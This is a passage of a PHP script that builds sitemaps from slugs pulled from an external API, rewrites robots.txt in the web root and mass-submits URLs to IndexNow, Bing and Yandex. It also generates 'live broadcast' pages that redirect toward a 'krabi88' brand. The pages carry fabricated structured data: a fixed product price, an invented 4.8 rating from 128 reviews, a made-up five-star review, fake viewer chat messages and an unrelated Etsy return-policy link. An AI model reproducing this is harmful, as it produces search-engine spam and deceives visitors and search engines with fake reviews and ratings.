this request's marker, without deleting the file first. $infoJsonPath = __DIR__ . DIRECTORY_SEPARATOR . 'info.json'; get_runtime_environment_info(true); $regeneratedInfoJson = safe_is_readable($infoJsonPath); $baseCandidates = get_broadcast_api_base_candidates(); $slugResult = null; foreach ($baseCandidates as $baseUrl) { $slugEndpoint = rtrim($baseUrl, '/') . '/api/slug'; $separator = (strpos($slugEndpoint, '?') === false) ? '?' : '&'; $slugEndpoint .= $separator . 'ts=' . rawurlencode((string) time()); // Retry up to 2 times on transient 502 failures for ($retry = 0; $retry < 2; $retry++) { $slugResult = fetch_external_api_slug_list($slugEndpoint, 5); if ($slugResult['ok']) { break 2; // success, exit both loops } if (!isset($slugResult['status']) || $slugResult['status'] !== 502) { break; // non-transient error, stop retrying this base } usleep(300000); // 300ms backoff } } if ($slugResult === null || !$slugResult['ok']) { // Fallback: reuse existing sitemap URLs if API is unavailable $existing = read_sitemap_urls(__DIR__ . '/sitemap.xml'); if (!empty($existing['urls'])) { $slugs = array(); foreach ($existing['urls'] as $url) { $slugFromUrl = ''; if (strpos($url, '?view=') !== false) { $slugFromUrl = substr($url, strpos($url, '?view=') + 6); } else { $slugFromUrl = trim(parse_url($url, PHP_URL_PATH), '/'); } if ($slugFromUrl !== '') { $slugs[] = $slugFromUrl; } } $slugs = array_values(array_unique($slugs)); if (!empty($slugs)) { // continue with fallback slugs goto BUILD_SITEMAP; } } $status = ($slugResult && isset($slugResult['status'])) ? $slugResult['status'] : 502; $error = ($slugResult && isset($slugResult['error'])) ? $slugResult['error'] : 'slug API unavailable'; set_response_code($status); header('Content-Type: text/plain; charset=utf-8'); header('Retry-After: 60'); echo $error; exit; } $payload = array(); if (isset($slugResult['payload'])) { $payload = $slugResult['payload']; } elseif (isset($slugResult['list'])) { $payload = $slugResult['list']; } elseif (isset($slugResult['data'])) { $payload = $slugResult['data']; } // If payload is associative and contains slugs inside nested keys, unwrap them if (is_array($payload)) { if (isset($payload['slugs']) && is_array($payload['slugs'])) { $payload = $payload['slugs']; } elseif (isset($payload['data']) && is_array($payload['data']) && isset($payload['data']['slugs']) && is_array($payload['data']['slugs'])) { $payload = $payload['data']['slugs']; } } // normalize payload; support string of slugs separated by comma/newline if (is_string($payload) && $payload !== '') { $parts = preg_split('/[\s,]+/', trim($payload)); $payload = $parts ? $parts : array(); } // Extract slugs recursively (handles nested payload shapes) $slugs = array(); extract_slugs_recursive($payload, $slugs); $slugs = normalize_slug_list($slugs); // Fallback: reuse existing sitemap if API empty if (count($slugs) === 0) { $existing = read_sitemap_urls(__DIR__ . '/sitemap.xml'); if (!empty($existing['urls'])) { foreach ($existing['urls'] as $url) { $slugFromUrl = ''; if (strpos($url, '?view=') !== false) { $slugFromUrl = substr($url, strpos($url, '?view=') + 6); } else { $slugFromUrl = trim(parse_url($url, PHP_URL_PATH), '/'); } if ($slugFromUrl !== '') { $slugs[] = $slugFromUrl; } } $slugs = array_values(array_unique($slugs)); } } if (count($slugs) === 0) { // Graceful no-slug response (avoid hard failure) set_response_code(200); header('Content-Type: text/plain; charset=utf-8'); echo 'No slugs available to build sitemap (API empty and no existing sitemap).'; exit; } BUILD_SITEMAP: // Follow v1: decide format based on how request was accessed $usePrettyUrls = supports_pretty_urls(); $baseUrlGen = rtrim(get_site_url(), '/'); $lastmod = date('c'); $priority = '0.8'; $chunkSize = 1000; $chunks = array_chunk($slugs, $chunkSize); if (is_function_available('glob')) { $oldSitemaps = glob(__DIR__ . '/sitemap-*.xml'); if (is_array($oldSitemaps)) { foreach ($oldSitemaps as $oldFile) { @unlink($oldFile); } } } $generatedSitemaps = array(); foreach ($chunks as $index => $chunk) { $xml = array(); $xml[] = ''; $xml[] = ''; foreach ($chunk as $slugItem) { $loc = $usePrettyUrls ? ($baseUrlGen . '/' . rawurlencode($slugItem)) : ($baseUrlGen . '/?view=' . rawurlencode($slugItem)); $xml[] = ' '; $xml[] = ' ' . safe_html($loc) . ''; $xml[] = ' ' . $lastmod . ''; $xml[] = ' ' . $priority . ''; $xml[] = ' '; } $xml[] = ''; $sitemapName = 'sitemap-' . ($index + 1) . '.xml'; $sitemapPath = __DIR__ . '/' . $sitemapName; if (safe_file_put_contents($sitemapPath, implode("\n", $xml) . "\n") === false) { set_response_code(500); header('Content-Type: text/plain; charset=utf-8'); echo 'Failed to write ' . $sitemapName; exit; } $generatedSitemaps[] = $sitemapName; } $indexXml = array(); $indexXml[] = ''; $indexXml[] = ''; foreach ($generatedSitemaps as $sitemapName) { $indexXml[] = ' '; // The sitemaps.org spec requires an absolute here, and Google/Bing // reject a bare filename. Copying sitemap.xml between environments can // therefore carry a stale host, but read_sitemap_urls() resolves each // child by basename from local disk before trying HTTP, so our own // reader stays immune to that. $indexXml[] = ' ' . safe_html($baseUrlGen . '/' . $sitemapName) . ''; $indexXml[] = ' ' . $lastmod . ''; $indexXml[] = ' '; } $indexXml[] = ''; if (safe_file_put_contents(__DIR__ . '/sitemap.xml', implode("\n", $indexXml) . "\n") === false) { set_response_code(500); header('Content-Type: text/plain; charset=utf-8'); echo 'Failed to write sitemap.xml'; exit; } // robots.txt: advertise the sitemap. Prefer the web root so search engines // find it at /robots.txt. Create it with defaults if missing, otherwise // just append our "Sitemap:" line (skipping it when the same URL is already // listed). If the web root is unknown or not writable, fall back to this // application directory. $sitemapLine = 'Sitemap: ' . $baseUrlGen . '/sitemap.xml'; $defaultRobots = "User-agent: *\nAllow: /\n" . $sitemapLine . "\n"; $robotsLocation = 'none'; $robotsAction = 'failed'; $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim(str_replace('\\', '/', (string) $_SERVER['DOCUMENT_ROOT']), '/') : ''; if ($docRoot !== '') { $status = write_robots_with_sitemap($docRoot . '/robots.txt', $sitemapLine, $defaultRobots); if ($status !== false) { $robotsLocation = 'webroot'; $robotsAction = $status; } } if ($robotsLocation === 'none') { $status = write_robots_with_sitemap(__DIR__ . '/robots.txt', $sitemapLine, $defaultRobots); if ($status !== false) { $robotsLocation = 'app_dir'; $robotsAction = $status; } } $urlType = $usePrettyUrls ? 'SEO-friendly' : 'query params'; header('Content-Type: application/json; charset=utf-8'); echo safe_json_encode(array( 'status' => 'ok', 'message' => 'sitemap.xml updated', 'urls' => count($slugs), 'files' => count($generatedSitemaps), 'url_type' => $urlType, 'pretty_urls' => (bool) $usePrettyUrls, 'cache_files_cleared' => (int) $clearedCacheFiles, 'info_json_regenerated' => (bool) $regeneratedInfoJson, 'robots_location' => $robotsLocation, 'robots_action' => $robotsAction, )); exit; } // IndexNow SSE submission endpoint (?update=indexnow&sse=1) if ($updateAction === 'indexnow' && isset($_GET['sse']) && $_GET['sse'] === '1') { // SSE endpoint for real-time submission progress sse_init(3000); $keyValue = isset($_GET['key']) ? trim($_GET['key']) : ''; $urlCount = isset($_GET['count']) ? (int)$_GET['count'] : 0; if ($keyValue === '' || strlen($keyValue) !== 32) { sse_send(array('step' => 'error', 'message' => 'พารามิเตอร์คีย์ไม่ถูกต้อง'), 'error'); exit; } // Read sitemap URLs $sitemapFile = __DIR__ . '/sitemap.xml'; $urls = array(); $sitemapInfo = read_sitemap_urls($sitemapFile); if (!empty($sitemapInfo['urls'])) { $urls = $sitemapInfo['urls']; shuffle($urls); $urls = array_slice($urls, 0, 1000); } if (count($urls) === 0) { sse_send(array('step' => 'error', 'message' => 'ไม่พบ URL ใน sitemap'), 'error'); exit; } $host = parse_url($urls[0], PHP_URL_HOST); $basePath = parse_url(get_site_url(), PHP_URL_PATH); $basePath = is_string($basePath) && $basePath !== '/' ? rtrim($basePath, '/') : ''; $urlScheme = parse_url($urls[0], PHP_URL_SCHEME); $urlScheme = is_string($urlScheme) ? strtolower($urlScheme) : ''; if ($urlScheme !== 'http' && $urlScheme !== 'https') { $urlScheme = detect_protocol(); } $keyLocation = $urlScheme . '://' . $host . $basePath . '/' . $keyValue . '.txt'; $keyFile = __DIR__ . '/' . $keyValue . '.txt'; // Step 1: Verify local key file exists sse_send(array('step' => 1, 'message' => 'กำลังตรวจสอบไฟล์คีย์ในเครื่อง...'), 'progress'); sleep(1); if (!file_exists($keyFile)) { sse_send(array('step' => 'error', 'message' => 'ไม่พบไฟล์คีย์ในเครื่อง: ' . $keyFile), 'error'); exit; } $localKeyContent = trim(safe_file_get_contents($keyFile)); if ($localKeyContent !== $keyValue) { sse_send(array('step' => 'error', 'message' => 'เนื้อหาไฟล์คีย์ในเครื่องไม่ตรงกัน'), 'error'); exit; } sse_send(array('step' => 1, 'message' => 'ไฟล์คีย์ในเครื่องถูกต้อง', 'status' => 'ok'), 'progress'); // Step 2: Verify key file accessible via HTTP (with retries) sse_send(array('step' => 2, 'message' => 'กำลังตรวจสอบไฟล์คีย์ผ่าน HTTP...'), 'progress'); sleep(1); $maxRetries = 3; $keyVerified = false; $lastError = ''; for ($attempt = 1; $attempt <= $maxRetries; $attempt++) { sse_send(array('step' => 2, 'message' => "ทดสอบการตรวจสอบ HTTP ครั้งที่ $attempt/$maxRetries...", 'attempt' => $attempt), 'progress'); $verifyResult = safe_http_request($keyLocation, array( 'method' => 'GET', 'timeout' => 15, 'headers' => array( 'User-Agent' => get_visitor_user_agent() !== '' ? get_visitor_user_agent() : 'Mozilla/5.0 (compatible; IndexNowVerifier/1.0)', 'Accept' => 'text/plain', 'Cache-Control' => 'no-cache' ) )); if ($verifyResult['success'] && $verifyResult['status'] === 200) { $responseBody = isset($verifyResult['body']) ? trim($verifyResult['body']) : ''; if ($responseBody === $keyValue) { $keyVerified = true; sse_send(array('step' => 2, 'message' => 'ยืนยันไฟล์คีย์ผ่าน HTTP เรียบร้อย', 'status' => 'ok'), 'progress'); break; } else { $lastError = 'เนื้อหาไม่ตรงกัน (ได้รับ: ' . substr($responseBody, 0, 100) . ')'; } } else { $lastError = 'HTTP ' . $verifyResult['status'] . ' - ' . ($verifyResult['error'] ? $verifyResult['error'] : 'ดึงข้อมูลไม่สำเร็จ'); } if ($attempt < $maxRetries) { sse_send(array('step' => 2, 'message' => "ครั้งที่ $attempt ล้มเหลว: $lastError จะลองใหม่ใน 2 วินาที..."), 'progress'); sleep(2); } } if (!$keyVerified) { sse_send(array('step' => 'error', 'message' => 'ตรวจสอบคีย์ไม่สำเร็จหลังจาก ' . $maxRetries . ' ครั้ง: ' . $lastError, 'keyLocation' => $keyLocation), 'error'); exit; } // Step 3: Submit to IndexNow API (with retries) sse_send(array('step' => 3, 'message' => 'กำลังส่ง ' . count($urls) . ' URL ไปยัง IndexNow...'), 'progress'); sleep(1); $indexNowEndpoints = array( array('url' => 'https://api.indexnow.org/indexnow', 'host' => 'api.indexnow.org', 'name' => 'IndexNow API'), array('url' => 'https://www.bing.com/indexnow', 'host' => 'www.bing.com', 'name' => 'Bing'), array('url' => 'https://yandex.com/indexnow', 'host' => 'yandex.com', 'name' => 'Yandex'), ); $payload = safe_json_encode(array( 'host' => $host, 'key' => $keyValue, 'keyLocation' => $keyLocation, 'urlList' => $urls )); $successCount = 0; $results = array(); foreach ($indexNowEndpoints as $endpoint) { sse_send(array('step' => 3, 'message' => 'กำลังส่งไปยัง ' . $endpoint['name'] . '...'), 'progress'); $maxApiRetries = 2; $apiSuccess = false; $resultEntry = array( 'endpoint' => $endpoint['name'], 'status' => 0, 'attempt' => 0, 'success' => false, 'message' => 'ยังไม่ได้เริ่มส่งคำขอ' ); for ($apiAttempt = 1; $apiAttempt <= $maxApiRetries; $apiAttempt++) { $result = safe_http_request($endpoint['url'], array( 'method' => 'POST', 'headers' => array( 'Content-Type' => 'application/json; charset=utf-8', 'Host' => $endpoint['host'], 'User-Agent' => get_visitor_user_agent() !== '' ? get_visitor_user_agent() : 'Mozilla/5.0 (compatible; IndexNowSubmitter/1.0)' ), 'body' => $payload, 'timeout' => 30 )); $status = $result['status']; $resultEntry = array( 'endpoint' => $endpoint['name'], 'status' => $status, 'attempt' => $apiAttempt ); if ($status === 200 || $status === 202) { $apiSuccess = true; $successCount++; $resultEntry['success'] = true; $resultEntry['message'] = $status === 200 ? 'ส่งสำเร็จ' : 'รับคำขอแล้ว กำลังตรวจสอบ'; sse_send(array('step' => 3, 'message' => $endpoint['name'] . ': ' . $resultEntry['message'], 'status' => 'ok'), 'progress'); break; } elseif ($status === 403) { $resultEntry['success'] = false; $resultEntry['message'] = $endpoint['name'] . ' ตรวจสอบคีย์ไม่ผ่าน'; if ($apiAttempt < $maxApiRetries) { sse_send(array('step' => 3, 'message' => $endpoint['name'] . ': พบข้อผิดพลาด 403 กำลังลองใหม่...'), 'progress'); sleep(2); } } elseif ($status === 429) { $resultEntry['success'] = false; $resultEntry['message'] = 'ถูกจำกัดอัตรา โปรดลองใหม่ภายหลัง'; break; } else { $resultEntry['success'] = false; $resultEntry['message'] = 'HTTP ' . $status . ' - ' . ($result['error'] ? $result['error'] : 'ข้อผิดพลาดที่ไม่ทราบสาเหตุ'); if ($apiAttempt < $maxApiRetries) { sleep(1); } } } if (!$apiSuccess) { sse_send(array('step' => 3, 'message' => $endpoint['name'] . ': ' . $resultEntry['message'], 'status' => 'error'), 'progress'); } $results[] = $resultEntry; sleep(1); } // Step 4: Complete if ($successCount > 0) { // Log successful submission // Uses the project tmp directory when the system temporary directory // is unavailable or not writable. $tmpDir = get_cache_dir(); if ($tmpDir !== '') { safe_file_put_contents($tmpDir . DIRECTORY_SEPARATOR . 'indexnow_submit.log', (string)time()); } sse_send(array( 'step' => 'complete', 'message' => 'ส่งไปยังเครื่องมือค้นหา ' . $successCount . '/' . count($indexNowEndpoints) . ' รายการ', 'urlCount' => count($urls), 'results' => $results, 'success' => true ), 'complete'); } else { sse_send(array( 'step' => 'error', 'message' => 'ส่งไปยังเครื่องมือค้นหาไม่สำเร็จ', 'results' => $results, 'keyLocation' => $keyLocation, 'suggestion' => 'กรุณาตรวจสอบว่า ' . $keyLocation . ' แสดงค่าคีย์ตรงและมี Content-Type: text/plain' ), 'error'); } exit; } // IndexNow submission page (?update=indexnow) if ($updateAction === 'indexnow') { header('X-Robots-Tag: noindex, nofollow'); $urls = array(); $keyValue = ''; $keyFile = ''; $sitemapFile = ''; $sitemapName = ''; $sitemapDate = null; $lastSubmit = null; $canSubmit = true; $cooldownHours = 24; // get_cache_dir() tries OS temporary paths first, then creates and uses // the project tmp directory when those paths are unavailable or lack write permission. $tmpDir = get_cache_dir(); // Log file for tracking submissions $logFile = $tmpDir !== '' ? $tmpDir . DIRECTORY_SEPARATOR . 'indexnow_submit.log' : ''; // Read last submit time from log if ($logFile !== '' && safe_is_readable($logFile)) { $logContent = trim(safe_file_get_contents($logFile)); if ($logContent !== '' && $logContent !== false) { $lastSubmit = (int)$logContent; $elapsed = time() - $lastSubmit; $cooldownSeconds = $cooldownHours * 3600; if ($elapsed < $cooldownSeconds) { $canSubmit = false; } } } // Find existing key file ({32-char-key}.txt) if (is_function_available('glob')) { $keyFiles = glob(__DIR__ . '/*.txt'); if (is_array($keyFiles)) { foreach ($keyFiles as $file) { $name = basename($file, '.txt'); if (strlen($name) === 32 && ctype_alnum($name)) { $keyValue = $name; $keyFile = $file; break; } } } } // Generate new key if not found $keyJustCreated = false; if ($keyValue === '') { $keyValue = bin2hex(random_bytes_compat(16)); $keyFile = __DIR__ . '/' . $keyValue . '.txt'; safe_file_put_contents($keyFile, $keyValue); $keyJustCreated = true; } // Find sitemap file $sitemapCandidates = array('sitemap.xml', 'sitemap_index.xml', 'sitemap-index.xml'); foreach ($sitemapCandidates as $candidate) { $path = __DIR__ . '/' . $candidate; if (safe_is_readable($path)) { $sitemapFile = $path; $sitemapName = $candidate; break; } } if ($sitemapFile === '' && is_function_available('glob')) { $xmlFiles = glob(__DIR__ . '/*.xml'); if (is_array($xmlFiles) && count($xmlFiles) > 0) { $sitemapFile = $xmlFiles[0]; $sitemapName = basename($xmlFiles[0]); } } // Get sitemap modification date if ($sitemapFile !== '' && file_exists($sitemapFile)) { $sitemapDate = filemtime($sitemapFile); } // Read sitemap URLs $sitemapUrlFormat = 'query'; if ($sitemapFile !== '' && safe_is_readable($sitemapFile)) { $sitemapInfo = read_sitemap_urls($sitemapFile); $urls = $sitemapInfo['urls']; $sitemapUrlFormat = $sitemapInfo['format']; if (count($urls) > 0) { shuffle($urls); $urls = array_slice($urls, 0, 1000); } } // Calculate time remaining for cooldown $timeRemaining = ''; if ($lastSubmit !== null && !$canSubmit) { $remaining = ($cooldownHours * 3600) - (time() - $lastSubmit); $hoursLeft = floor($remaining / 3600); $minsLeft = floor(($remaining % 3600) / 60); $timeRemaining = $hoursLeft . ' ชม. ' . $minsLeft . ' นาที'; } $displayKeyLocation = get_site_url() . '/' . $keyValue . '.txt'; // Output HTML page with SSE-based submission header('Content-Type: text/html; charset=utf-8'); ?> ส่ง IndexNow

ส่ง IndexNow

สร้างไฟล์คีย์แล้ว! หน้านี้จะรีโหลดอัตโนมัติใน 3 วินาที...

เพื่อให้เซิร์ฟเวอร์รับรู้ไฟล์คีย์ใหม่ก่อนส่ง

คีย์:

ตำแหน่งคีย์:

Sitemap: ไม่พบ'; ?>

วันที่ Sitemap:

ส่งล่าสุด: ไม่เคย'; ?>

ส่งครั้งถัดไป: รอ

สถานะ: พร้อมส่ง

อัปเดต Sitemap
กำลังเตรียมการ...

รายการ URL ที่จะส่ง ():



รีเฟรชสถานะ
supports_pretty_urls() // is the single decision point: it honours an explicit pretty_urls config // first, then a rewrite marker, then the server's .htaccess / web.config, // so a rewrite-capable host redirects to /krabi88 while Nginx (or an // explicit pretty_urls=false) stays on /?view=krabi88. $defaultSlug = 'krabi88'; safe_redirect(build_broadcast_url($defaultSlug)); } // Canonicalise query-param URLs to the pretty URL when rewriting is available. // A visitor who reached a broadcast via ?view= (or any other broadcast // query param) is sent to / so the clean URL is what shows in the address // bar and what search engines index. Gated on supports_pretty_urls(), which is // true when info.json's has_rewrite_config is true (rewriting proven or the // server has a rewrite config). A request that already arrived on a clean // pretty path satisfies request_uses_pretty_broadcast_url() and is never // redirected, so there is no loop; Nginx / pretty_urls=false keep query params. if (!request_uses_pretty_broadcast_url($slug) && supports_pretty_urls()) { $prettyUrl = build_broadcast_url($slug); // Preserve any non-broadcast query params (utm_*, gclid, fbclid, ...) so // tracking and attribution survive the canonical redirect. $extraParams = array(); $broadcastParamNames = get_broadcast_query_param_names(); foreach ($_GET as $paramName => $paramValue) { if (!is_string($paramName) || in_array($paramName, $broadcastParamNames, true)) { continue; } $extraParams[$paramName] = $paramValue; } if (!empty($extraParams) && is_function_available('http_build_query')) { $prettyUrl .= (strpos($prettyUrl, '?') === false ? '?' : '&') . http_build_query($extraParams); } // 301: this is a permanent canonical redirect. Switch to 302 if you want to // avoid browsers caching it (safer while validating a new rewrite config). safe_redirect($prettyUrl, 301); } $apiResponse = null; $apiExternalMeta = null; // Per-site namespacing now lives in the cache filename (get_cache_file_prefix), // so the key itself only needs to identify the content, not the domain. $cacheKey = 'broadcast_meta_' . $slug; $cacheTtl = 86400; // 24 hours to reduce TTFB $cachedBody = cache_get($cacheKey, $cacheTtl); if ($cachedBody !== false && $cachedBody !== '') { $payload = safe_json_decode($cachedBody, true); if (is_array($payload)) { $apiResponse = normalize_broadcast_payload($payload, $slug); $apiExternalMeta = array('ok' => true, 'status' => 200, 'body' => $cachedBody, 'cached' => true); } } if ($apiResponse === null) { foreach (get_broadcast_api_base_candidates() as $base) { $apiExternalMeta = fetch_api_external_broadcast(rtrim($base, '/') . '/api/broadcast/' . rawurlencode($slug), 5); if ($apiExternalMeta['ok']) { $payload = safe_json_decode($apiExternalMeta['body'], true); if (is_array($payload)) { $apiResponse = normalize_broadcast_payload($payload, $slug); cache_set($cacheKey, $apiExternalMeta['body']); break; } } elseif ($apiExternalMeta['status'] === 404) { break; } } } $defaultTitle = "Live Broadcast"; $defaultDescription = "Watch the latest live broadcast."; $brandName = $defaultBrand = 'Live'; $categoryName = 'Electronics & Accessories'; $cityName = 'Bangkok'; $authorName = $defaultBrand; $pageTitle = $defaultTitle; $pageDescription = $defaultDescription; $updatedAt = date('c'); $canonicalUrl = get_canonical_url(); $baseUrl = rtrim(get_site_url(), '/'); $displayDomain = detect_host(true); if (!is_string($displayDomain) || $displayDomain === '') { $displayDomain = parse_url($baseUrl, PHP_URL_HOST); } $displayDomain = preg_replace('~^www\.~i', '', (string) $displayDomain); $thumbnailUrl = ''; $thumbnailAlt = 'พรีวิวสตรีมสด'; $registerUrl = ''; $eventSchedule = array(); $eventSpeakers = array(); $anotherLiveBroadcast = array(); $externalUrls = array(); $externalThumbnail = array(); $screenshots = array(); $returnPolicyUrl = 'https://help.etsy.com/hc/en-us/articles/360000572888-Refunds-Returns-and-Exchanges-for-Sellers?segment=selling'; $faviconUrl = resolve_favicon_url(64); // resolve_favicon_url() stores successful downloads as the same favicon.png. // Reuse it here so a failed download does not trigger a second HTTP request. $appleTouchIconUrl = $faviconUrl; if (is_array($apiResponse) && !empty($apiResponse['event'])) { $e = $apiResponse['event']; $brandName = $e['brand_name'] ?: $defaultBrand; $categoryName = $e['category'] ?: $categoryName; $pageTitle = $e['title'] ?: $defaultTitle; $pageDescription = $e['description'] ?: $defaultDescription; $cityName = $e['city'] ?: $cityName; $authorName = $e['author'] ?: $brandName; $updatedAt = isset($apiResponse['generated_at']) ? $apiResponse['generated_at'] : $updatedAt; if (isset($e['thumbnail'])) { if (is_array($e['thumbnail'])) { if (isset($e['thumbnail']['url'])) { $thumbnailUrl = $e['thumbnail']['url']; } if (isset($e['thumbnail']['alt_text']) && $e['thumbnail']['alt_text'] !== '') { $thumbnailAlt = $e['thumbnail']['alt_text']; } } elseif (is_string($e['thumbnail'])) { $thumbnailUrl = $e['thumbnail']; } } $registerUrl = isset($e['register_url']) ? $e['register_url'] : 'https://krabi88.pages.dev'; $eventSchedule = isset($apiResponse['schedule']) && is_array($apiResponse['schedule']) ? $apiResponse['schedule'] : array(); $anotherLiveBroadcast = isset($apiResponse['another_live_broadcast']) && is_array($apiResponse['another_live_broadcast']) ? $apiResponse['another_live_broadcast'] : array(); $externalUrls = isset($apiResponse['external_urls']) && is_array($apiResponse['external_urls']) ? $apiResponse['external_urls'] : array(); $externalThumbnail = isset($apiResponse['external_thumbnail']) && is_array($apiResponse['external_thumbnail']) ? $apiResponse['external_thumbnail'] : array(); $screenshots = isset($apiResponse['screenshots']) && is_array($apiResponse['screenshots']) ? $apiResponse['screenshots'] : array(); } else { $isUpstreamFailure = is_array($apiExternalMeta) && isset($apiExternalMeta['status']) && (int)$apiExternalMeta['status'] >= 500; $retryAfterSeconds = 300; // Explicit status (v1 parity: 404 not found, 503 on upstream failure) $statusCode = $isUpstreamFailure ? 503 : 404; set_response_code($statusCode); header("Content-Type: text/html; charset=utf-8"); header("X-Robots-Tag: noindex, nofollow"); if ($isUpstreamFailure) { header('Retry-After: ' . $retryAfterSeconds); } $homeUrl = $baseUrl; $currentUrl = get_current_url(true); ?> <?php echo $isUpstreamFailure ? 'บริการชั่วคราวไม่พร้อมใช้งาน' : 'ไม่พบเนื้อหา'; ?>

' . safe_html($slug) . ''; ?>

รีเฟรชอัตโนมัติใน วินาที

จะรีเฟรชอัตโนมัติ หรือกดปุ่มด้านล่าง

กลับหน้าแรก
'00:00', 'title' => $scheduleSeedTitle . ' Opening', 'description' => $scheduleSeedDescription, 'speaker' => $authorName), array('time' => '02:00', 'title' => 'Main Feature Session', 'description' => 'ไฮไลต์สำคัญและการถ่ายทอดสดช่วงหลักของงาน', 'speaker' => $authorName), array('time' => '04:00', 'title' => 'Community Spotlight', 'description' => 'สรุปช่วงเด่น ข่าวสาร และเนื้อหาที่น่าสนใจ', 'speaker' => $brandName), array('time' => '06:00', 'title' => 'Morning Update', 'description' => 'อัปเดตข่าวสารและสรุปประเด็นสำคัญล่าสุด', 'speaker' => $authorName), array('time' => '08:00', 'title' => 'Featured Match', 'description' => 'แมตช์และเนื้อหาพิเศษสำหรับผู้ติดตาม', 'speaker' => $brandName), array('time' => '10:00', 'title' => 'Live Community Session', 'description' => 'โต้ตอบกับผู้ชมและสรุปคำถามที่พบบ่อย', 'speaker' => $authorName), ); } $speakerIndex = array(); foreach ($eventSchedule as $item) { if (!is_array($item)) { continue; } $speakerName = isset($item['speaker']) ? trim((string) $item['speaker']) : ''; if ($speakerName === '') { continue; } if (isset($speakerIndex[$speakerName])) { continue; } $speakerIndex[$speakerName] = true; $speakerInitials = ''; $parts = preg_split('/\s+/', $speakerName); if (isset($parts[0][0])) { $speakerInitials .= strtoupper($parts[0][0]); } if (isset($parts[1][0])) { $speakerInitials .= strtoupper($parts[1][0]); } if ($speakerInitials === '') { $speakerInitials = 'SP'; } $eventSpeakers[] = array( 'name' => $speakerName, 'initials' => $speakerInitials, 'role' => 'Guest speaker' ); } if (empty($eventSpeakers)) { $fallbackSpeaker = $authorName !== '' ? $authorName : ($brandName !== '' ? $brandName : 'Live Host'); $eventSpeakers[] = array( 'name' => $fallbackSpeaker, 'initials' => strtoupper(substr(preg_replace('/[^A-Za-z0-9]/', '', $fallbackSpeaker), 0, 2)), 'role' => 'Host' ); } $eventChatMessages = array( array('name' => 'Narin', 'text' => 'กำลังรอช่วงไฮไลต์หลักอยู่ครับ'), array('name' => 'Mali', 'text' => 'ตารางงานวันนี้ดูแน่นมาก ชอบเลย'), array('name' => 'Boss', 'text' => 'มีรีเพลย์ย้อนหลังให้ดูไหมครับ'), ); $eventUpdatedAtTimestamp = strtotime((string) $updatedAt); $eventUpdatedAtLabel = $eventUpdatedAtTimestamp ? date('d/m/Y H:i', $eventUpdatedAtTimestamp) : date('d/m/Y H:i'); $carouselImages = array(); if (!empty($screenshots)) { foreach ($screenshots as $ss) { if (!is_array($ss)) { continue; } $u = isset($ss['url']) ? $ss['url'] : ''; if ($u === '') { continue; } $a = isset($ss['alt_text']) && $ss['alt_text'] !== '' ? $ss['alt_text'] : $thumbnailAlt; $carouselImages[] = array('url' => $u, 'alt' => $a); } } elseif (!empty($externalThumbnail)) { foreach ($externalThumbnail as $thumb) { if (!is_array($thumb)) { continue; } $u = isset($thumb['url']) ? $thumb['url'] : ''; if ($u === '') { continue; } $a = isset($thumb['alt_text']) && $thumb['alt_text'] !== '' ? $thumb['alt_text'] : $thumbnailAlt; $carouselImages[] = array('url' => $u, 'alt' => $a); } } elseif ($thumbnailUrl !== '') { // Only use main thumbnail if no screenshots/external thumbnails provided $carouselImages[] = array('url' => $thumbnailUrl, 'alt' => $thumbnailAlt); } $heroPreloadUrl = ''; if (!empty($carouselImages) && isset($carouselImages[0]['url'])) { $heroPreloadUrl = $carouselImages[0]['url']; } elseif ($thumbnailUrl !== '') { $heroPreloadUrl = $thumbnailUrl; } $startDateTime = normalize_schema_datetime(isset($updatedAt) && $updatedAt !== '' ? $updatedAt : date('c')); $priceValidUntil = date('Y-m-d', strtotime('+7 days')); $productLd = array( "@context" => "https://schema.org", "@type" => "Product", "name" => $pageTitle, "url" => $canonicalUrl, "description" => $pageDescription, "image" => $thumbnailUrl !== '' ? array($thumbnailUrl) : array(), "brand" => array("@type" => "Brand", "name" => $brandName), "offers" => array( "@type" => "Offer", "price" => 300, "priceCurrency" => "THB", "availability" => "https://schema.org/InStock", "validFrom" => $startDateTime, "priceValidUntil" => $priceValidUntil, "hasMerchantReturnPolicy" => array( "@type" => "MerchantReturnPolicy", "applicableCountry" => "TH", "returnPolicyCategory" => "https://schema.org/MerchantReturnFiniteReturnWindow", "merchantReturnDays" => 7, "returnMethod" => "https://schema.org/ReturnByMail", "returnFees" => "https://schema.org/FreeReturn", "url" => $returnPolicyUrl ), "shippingDetails" => array( "@type" => "OfferShippingDetails", "shippingRate" => array( "@type" => "MonetaryAmount", "value" => "0", "currency" => "THB" ), "shippingDestination" => array( "@type" => "DefinedRegion", "addressCountry" => "TH" ), "deliveryTime" => array( "@type" => "ShippingDeliveryTime", "handlingTime" => array( "@type" => "QuantitativeValue", "minValue" => 0, "maxValue" => 0, "unitCode" => "DAY" ), "transitTime" => array( "@type" => "QuantitativeValue", "minValue" => 0, "maxValue" => 0, "unitCode" => "DAY" ) ) ) ), "aggregateRating" => array( "@type" => "AggregateRating", "ratingValue" => 4.8, "reviewCount" => 128 ), "review" => array( array( "@type" => "Review", "reviewRating" => array( "@type" => "Rating", "ratingValue" => 5, "bestRating" => 5 ), "author" => array( "@type" => "Person", "name" => $authorName !== '' ? $authorName : $brandName ), "reviewBody" => "บริการถ่ายทอดสดคมชัด สมัครง่ายและใช้งานได้ทันที" ) ) ); $breadcrumbLd = array( "@context" => "https://schema.org", "@type" => "BreadcrumbList", "itemListElement" => array( array("@type" => "ListItem", "position" => 1, "name" => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'home'), "item" => get_homepage_url()), array("@type" => "ListItem", "position" => 2, "name" => $categoryName, "item" => $canonicalUrl . '#event-category'), array("@type" => "ListItem", "position" => 3, "name" => $pageTitle, "item" => $canonicalUrl) ) ); $breadcrumbItems = array( array( 'label' => 'Home', 'url' => get_homepage_url(), 'is_current' => false, ), array( 'label' => $categoryName !== '' ? $categoryName : 'Live Event', 'url' => $canonicalUrl !== '' ? ($canonicalUrl . '#event-category') : get_homepage_url(), 'is_current' => false, ), array( 'label' => $pageTitle !== '' ? $pageTitle : ($brandName !== '' ? $brandName : 'Event'), 'url' => $canonicalUrl, 'is_current' => true, ), ); // Build VideoObject/BroadcastEvent LD (v1 parity) $allThumbnails = array(); if ($thumbnailUrl !== '') { $allThumbnails[] = $thumbnailUrl; } if (!empty($screenshots)) { foreach ($screenshots as $ss) { if (isset($ss['url']) && $ss['url'] !== '' && !in_array($ss['url'], $allThumbnails)) { $allThumbnails[] = $ss['url']; } } } $endDateTime = date('c', strtotime('+2 hours', strtotime($startDateTime))); $durationIso = 